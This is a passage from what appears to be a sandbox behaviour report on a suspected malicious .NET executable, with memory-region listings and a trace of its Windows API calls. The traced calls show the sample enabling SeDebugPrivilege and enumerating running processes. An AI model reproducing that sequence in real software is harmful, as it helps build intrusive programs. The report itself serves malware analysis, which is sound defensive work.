0x6fed0000 end_va = 0x6fef0fff monitored = 1 entry_point = 0x6fed98e0 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll") Region: id = 5886 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 5888 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 5889 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 5890 start_va = 0x5240000 end_va = 0x527ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005240000" filename = "" Region: id = 5891 start_va = 0x5580000 end_va = 0x567ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005580000" filename = "" Region: id = 5892 start_va = 0x5080000 end_va = 0x50bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 5893 start_va = 0x56b0000 end_va = 0x57affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056b0000" filename = "" Region: id = 5894 start_va = 0x7ef3a000 end_va = 0x7ef3cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef3a000" filename = "" Region: id = 5895 start_va = 0x6d0000 end_va = 0x6d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 5926 start_va = 0x53e0000 end_va = 0x541ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053e0000" filename = "" Region: id = 5927 start_va = 0x5920000 end_va = 0x5a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005920000" filename = "" Region: id = 5928 start_va = 0x7ef37000 end_va = 0x7ef39fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef37000" filename = "" Region: id = 5944 start_va = 0x6d0000 end_va = 0x6e2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 5957 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 5958 start_va = 0xa60000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 5959 start_va = 0x5450000 end_va = 0x548ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005450000" filename = "" Region: id = 5960 start_va = 0x7ef37000 end_va = 0x7ef39fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef37000" filename = "" Region: id = 5962 start_va = 0x710000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5963 start_va = 0x53d0000 end_va = 0x540ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053d0000" filename = "" Region: id = 5964 start_va = 0x57e0000 end_va = 0x581ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057e0000" filename = "" Region: id = 5965 start_va = 0x58b0000 end_va = 0x59affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058b0000" filename = "" Region: id = 5966 start_va = 0x7ef31000 end_va = 0x7ef33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef31000" filename = "" Region: id = 5967 start_va = 0x7ef34000 end_va = 0x7ef36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef34000" filename = "" Thread: id = 469 os_tid = 0xe44 [0254.272] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0255.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", nBufferLength=0x105, lpBuffer=0x54d65c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", lpFilePart=0x0) returned 0x71 [0255.079] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x54d358 | out: phkResult=0x54d358*=0x0) returned 0x2 [0255.079] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.183] GetCurrentProcess () returned 0xffffffff [0255.184] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54d994 | out: TokenHandle=0x54d994*=0x40) returned 1 [0255.188] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x54d44c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0255.215] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x54d98c | out: lpFileInformation=0x54d98c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0255.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x54d418, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0255.218] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x54d994 | out: lpFileInformation=0x54d994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0255.220] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x54d3b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0255.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x54d8cc) returned 1 [0255.222] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1f0 [0255.222] GetFileType (hFile=0x1f0) returned 0x1 [0255.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x54d8c8) returned 1 [0255.222] GetFileType (hFile=0x1f0) returned 0x1 [0255.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x54cc08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0255.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x54cc6c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0255.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x54ceac) returned 1 [0255.244] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x54d170 | out: lpFileInformation=0x54d170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0255.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x54cea8) returned 1 [0255.329] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x54d03c | out: pfEnabled=0x54d03c) returned 0x0 [0255.380] GetFileSize (in: hFile=0x1f0, lpFileSizeHigh=0x54d988 | out: lpFileSizeHigh=0x54d988*=0x0) returned 0x8c8e [0255.380] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d944, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d944*=0x1000, lpOverlapped=0x0) returned 1 [0255.391] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d7f4, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d7f4*=0x1000, lpOverlapped=0x0) returned 1 [0255.395] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d6a8, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d6a8*=0x1000, lpOverlapped=0x0) returned 1 [0255.395] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d6a8, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d6a8*=0x1000, lpOverlapped=0x0) returned 1 [0255.396] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d6a8, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d6a8*=0x1000, lpOverlapped=0x0) returned 1 [0255.396] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d5e0, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d5e0*=0x1000, lpOverlapped=0x0) returned 1 [0255.401] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d74c, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d74c*=0x1000, lpOverlapped=0x0) returned 1 [0255.402] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d640, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d640*=0x1000, lpOverlapped=0x0) returned 1 [0255.402] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d640, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d640*=0xc8e, lpOverlapped=0x0) returned 1 [0255.402] ReadFile (in: hFile=0x1f0, lpBuffer=0x2512ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x54d704, lpOverlapped=0x0 | out: lpBuffer=0x2512ec0*, lpNumberOfBytesRead=0x54d704*=0x0, lpOverlapped=0x0) returned 1 [0255.403] CloseHandle (hObject=0x1f0) returned 1 [0255.403] CloseHandle (hObject=0x40) returned 1 [0255.404] GetCurrentProcess () returned 0xffffffff [0255.404] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54dae0 | out: TokenHandle=0x54dae0*=0x40) returned 1 [0255.404] CloseHandle (hObject=0x40) returned 1 [0255.405] GetCurrentProcess () returned 0xffffffff [0255.405] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54dae0 | out: TokenHandle=0x54dae0*=0x40) returned 1 [0255.405] CloseHandle (hObject=0x40) returned 1 [0255.411] GetCurrentProcess () returned 0xffffffff [0255.411] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54d994 | out: TokenHandle=0x54d994*=0x40) returned 1 [0255.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x54d98c | out: lpFileInformation=0x54d98c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0255.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", nBufferLength=0x105, lpBuffer=0x54d418, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", lpFilePart=0x0) returned 0x71 [0255.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x54d994 | out: lpFileInformation=0x54d994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0255.412] CloseHandle (hObject=0x40) returned 1 [0255.412] GetCurrentProcess () returned 0xffffffff [0255.413] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54dae0 | out: TokenHandle=0x54dae0*=0x40) returned 1 [0255.413] CloseHandle (hObject=0x40) returned 1 [0255.414] GetCurrentProcess () returned 0xffffffff [0255.414] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54dae0 | out: TokenHandle=0x54dae0*=0x40) returned 1 [0255.415] CloseHandle (hObject=0x40) returned 1 [0255.425] GetCurrentProcess () returned 0xffffffff [0255.425] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54d8f8 | out: TokenHandle=0x54d8f8*=0x40) returned 1 [0255.431] CloseHandle (hObject=0x40) returned 1 [0255.431] GetCurrentProcess () returned 0xffffffff [0255.431] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54d910 | out: TokenHandle=0x54d910*=0x40) returned 1 [0255.436] CloseHandle (hObject=0x40) returned 1 [0255.449] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75b00000 [0255.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x54db5c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWäm\x12SÔÂDþ+qdÞT", lpUsedDefaultChar=0x0) returned 14 [0255.449] GetProcAddress (hModule=0x75b00000, lpProcName="DefWindowProcW") returned 0x770725dd [0255.450] GetStockObject (i=5) returned 0x1900015 [0255.454] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0255.458] CoTaskMemAlloc (cb=0x5c) returned 0x8313e0 [0255.458] RegisterClassW (lpWndClass=0x54db4c) returned 0xc107 [0255.459] CoTaskMemFree (pv=0x8313e0) [0255.459] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0255.461] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.34f5582_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60148 [0255.463] SetWindowLongW (hWnd=0x60148, nIndex=-4, dwNewLong=1996957149) returned 81070294 [0255.464] GetWindowLongW (hWnd=0x60148, nIndex=-4) returned 1996957149 [0255.467] GetCurrentProcess () returned 0xffffffff [0255.467] GetCurrentThread () returned 0xfffffffe [0255.467] GetCurrentProcess () returned 0xffffffff [0255.467] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x54d4dc, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x54d4dc*=0x40) returned 1 [0255.470] GetCurrentThreadId () returned 0xe44 [0255.476] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x54d460 | out: phkResult=0x54d460*=0x1f0) returned 0x0 [0255.476] RegQueryValueExW (in: hKey=0x1f0, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x54d480, lpData=0x0, lpcbData=0x54d47c*=0x0 | out: lpType=0x54d480*=0x0, lpData=0x0, lpcbData=0x54d47c*=0x0) returned 0x2 [0255.476] RegQueryValueExW (in: hKey=0x1f0, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x54d480, lpData=0x0, lpcbData=0x54d47c*=0x0 | out: lpType=0x54d480*=0x0, lpData=0x0, lpcbData=0x54d47c*=0x0) returned 0x2 [0255.477] RegCloseKey (hKey=0x1f0) returned 0x0 [0255.478] SetWindowLongW (hWnd=0x60148, nIndex=-4, dwNewLong=81070334) returned 1996957149 [0255.478] GetWindowLongW (hWnd=0x60148, nIndex=-4) returned 81070334 [0255.479] GetWindowLongW (hWnd=0x60148, nIndex=-16) returned 79691776 [0255.509] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x60148, Msg=0x24, wParam=0x0, lParam=0x54d738) returned 0x0 [0255.510] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc059 [0255.510] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x60148, Msg=0x81, wParam=0x0, lParam=0x54d72c) returned 0x1 [0255.513] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x60148, Msg=0x83, wParam=0x0, lParam=0x54d718) returned 0x0 [0255.517] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x60148, Msg=0x1, wParam=0x0, lParam=0x54d72c) returned 0x0 [0255.927] GetCurrentProcessId () returned 0xe88 [0255.929] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x54ed04 | out: lpLuid=0x54ed04*(LowPart=0x14, HighPart=0)) returned 1 [0255.932] GetCurrentProcess () returned 0xffffffff [0255.932] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x54ed00 | out: TokenHandle=0x54ed00*=0x238) returned 1 [0255.932] AdjustTokenPrivileges (in: TokenHandle=0x238, DisableAllPrivileges=0, NewState=0x252e048*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0255.933] CloseHandle (hObject=0x238) returned 1 [0255.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e9540, Length=0x20000, ResultLength=0x54f3e4 | out: SystemInformation=0x34e9540, ResultLength=0x54f3e4*=0xc8a8) returned 0x0 [0255.952] GetCurrentProcessId () returned 0xe88 [0255.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e9540, Length=0x20000, ResultLength=0x54f3d4 | out: SystemInformation=0x34e9540, ResultLength=0x54f3d4*=0xc8a8) returned 0x0 [0264.783] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x238 [0264.784] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x23c [0264.795] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x54e59c | out: phkResult=0x54e59c*=0x240) returned 0x0 [0264.796] RegQueryValueExW (in: hKey=0x240, lpValueName="InstallationType", lpReserved=0x0, lpType=0x54e5bc, lpData=0x0, lpcbData=0x54e5b8*=0x0 | out: lpType=0x54e5bc*=0x1, lpData=0x0, lpcbData=0x54e5b8*=0xe) returned 0x0 [0264.797] RegQueryValueExW (in: hKey=0x240, lpValueName="InstallationType", lpReserved=0x0, lpType=0x54e5bc, lpData=0x2552218, lpcbData=0x54e5b8*=0xe | out: lpType=0x54e5bc*=0x1, lpData="Client", lpcbData=0x54e5b8*=0xe) returned 0x0 [0264.797] RegCloseKey (hKey=0x240) returned 0x0 [0264.859] GetCurrentProcess () returned 0xffffffff [0264.859] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54e1f0 | out: TokenHandle=0x54e1f0*=0x240) returned 1 [0264.875] CloseHandle (hObject=0x240) returned 1 [0264.875] GetCurrentProcess () returned 0xffffffff [0264.876] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x54e208 | out: TokenHandle=0x54e208*=0x240) returned 1 [0264.876] CloseHandle (hObject=0x240) returned 1 [0264.891] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f364 | out: phkResult=0x54f364*=0x240) returned 0x0 [0264.892] RegQueryValueExW (in: hKey=0x240, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x54f380, lpData=0x0, lpcbData=0x54f37c*=0x0 | out: lpType=0x54f380*=0x0, lpData=0x0, lpcbData=0x54f37c*=0x0) returned 0x2 [0264.892] RegCloseKey (hKey=0x240) returned 0x0 [0264.904] GetCurrentProcessId () returned 0xe88 [0264.906] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.915] EnumProcessModules (in: hProcess=0x240, lphModule=0x2556108, cb=0x100, lpcbNeeded=0x54f370 | out: lphModule=0x2556108, lpcbNeeded=0x54f370) returned 1 [0264.916] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x2556248, cb=0xc | out: lpmodinfo=0x2556248*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.918] CoTaskMemAlloc (cb=0x804) returned 0x855d90 [0264.918] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x855d90, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.919] CoTaskMemFree (pv=0x855d90) [0264.919] CoTaskMemAlloc (cb=0x804) returned 0x855d90 [0264.919] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x855d90, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.920] CoTaskMemFree (pv=0x855d90) [0264.920] CloseHandle (hObject=0x240) returned 1 [0264.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.921] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x0) returned 0x2 [0264.921] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.921] RegQueryValueExW (in: hKey=0x240, lpValueName="UseHttpPipeliningAndBufferPooling", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.921] RegCloseKey (hKey=0x240) returned 0x0 [0264.922] GetCurrentProcessId () returned 0xe88 [0264.922] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.922] EnumProcessModules (in: hProcess=0x240, lphModule=0x2558df0, cb=0x100, lpcbNeeded=0x54f370 | out: lphModule=0x2558df0, lpcbNeeded=0x54f370) returned 1 [0264.923] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x2558f30, cb=0xc | out: lpmodinfo=0x2558f30*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.923] CoTaskMemAlloc (cb=0x804) returned 0x855d90 [0264.923] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x855d90, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.923] CoTaskMemFree (pv=0x855d90) [0264.923] CoTaskMemAlloc (cb=0x804) returned 0x855d90 [0264.923] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x855d90, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.924] CoTaskMemFree (pv=0x855d90) [0264.924] CloseHandle (hObject=0x240) returned 1 [0264.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.924] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseSafeSynchronousClose", 